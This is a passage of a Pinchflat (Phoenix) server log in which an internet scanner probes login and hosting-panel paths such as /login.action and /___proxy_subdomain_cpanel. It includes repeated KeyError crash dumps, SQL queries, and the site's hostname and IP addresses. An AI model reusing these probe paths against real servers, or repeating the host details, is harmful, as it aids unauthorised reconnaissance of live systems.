PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 5, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /about (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/about", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 5, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138861.0>, params: %{}, path_info: ["about"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/about", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUrzP7rdPdlRIADY0h"} (truncated) 04:51:17.647 [info] GET /login.action 04:51:17.649 [debug] QUERY OK source="settings" db=0.3ms idle=1114.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:17.650 [debug] QUERY OK source="settings" db=0.3ms idle=1115.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:17.650 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:51:17.651 [error] #PID<0.138862.0> running PinchflatWeb.Endpoint (connection #PID<0.138854.0>, stream id 6) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /login.action ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /login (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/login.action", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 6, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138862.0>, params: %{}, path_info: ["login"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/login.action", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUr29gyo8Sn0cADY1B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/login.action", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 6, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /login (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/login.action", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 6, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138862.0>, params: %{}, path_info: ["login"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/login.action", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, (truncated) 04:51:18.629 [info] GET / 04:51:18.629 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 04:51:18.630 [debug] QUERY OK source="settings" db=0.2ms idle=979.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:18.630 [debug] QUERY OK source="media_profiles" db=0.2ms idle=95.7ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 04:51:18.631 [debug] QUERY OK source="sources" db=0.2ms idle=96.1ms SELECT count(s0."id") FROM "sources" AS s0 [] 04:51:18.633 [debug] QUERY OK source="media_items" db=1.8ms idle=96.6ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:51:18.634 [debug] QUERY OK source="media_items" db=0.9ms idle=94.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:51:18.635 [debug] QUERY OK source="settings" db=0.2ms idle=4.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:18.635 [debug] QUERY OK source="settings" db=0.3ms idle=4.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:18.636 [debug] QUERY OK source="settings" db=0.0ms idle=5.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:18.637 [debug] QUERY OK source="tasks" db=0.1ms idle=4.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 04:51:18.638 [debug] QUERY OK source="media_items" db=0.3ms idle=3.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:51:18.638 [debug] QUERY OK source="media_items" db=0.3ms idle=3.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 04:51:18.639 [debug] QUERY OK source="sources" db=0.1ms idle=3.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [30, 31] 04:51:18.642 [debug] QUERY OK source="media_items" db=1.2ms idle=4.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 04:51:18.643 [debug] QUERY OK source="media_items" db=1.4ms idle=4.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 04:51:18.644 [debug] QUERY OK source="sources" db=0.1ms idle=5.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:51:18.645 [info] Sent 200 in 16ms 04:51:19.003 [info] GET /___proxy_subdomain_whm/login 04:51:19.004 [debug] QUERY OK source="settings" db=0.4ms idle=365.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:19.005 [debug] QUERY OK source="settings" db=0.4ms idle=365.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:19.005 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:51:19.006 [error] #PID<0.138864.0> running PinchflatWeb.Endpoint (connection #PID<0.138854.0>, stream id 8) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /___proxy_subdomain_whm/login ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /___proxy_subdomain_whm/login (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/___proxy_subdomain_whm/login", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 8, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138864.0>, params: %{}, path_info: ["___proxy_subdomain_whm", "login"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/___proxy_subdomain_whm/login", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUr8Aqk0a7-fwADY4B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/___proxy_subdomain_whm/login", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 8, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /___proxy_subdomain_whm/login (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/___proxy_subdomain_whm/login", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 8, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138864.0>, params: %{}, path_info: ["___proxy_subdomain_whm", "login"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "159.89.12.166"} ], request_path: " (truncated) 04:51:19.357 [info] GET /___proxy_subdomain_cpanel 04:51:19.358 [debug] QUERY OK source="settings" db=0.3ms idle=715.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:19.359 [debug] QUERY OK source="settings" db=0.3ms idle=715.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:19.360 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:51:19.361 [error] #PID<0.138865.0> running PinchflatWeb.Endpoint (connection #PID<0.138854.0>, stream id 9) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /___proxy_subdomain_cpanel ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /___proxy_subdomain_cpanel (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/___proxy_subdomain_cpanel", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 9, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138865.0>, params: %{}, path_info: ["___proxy_subdomain_cpanel"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-host", 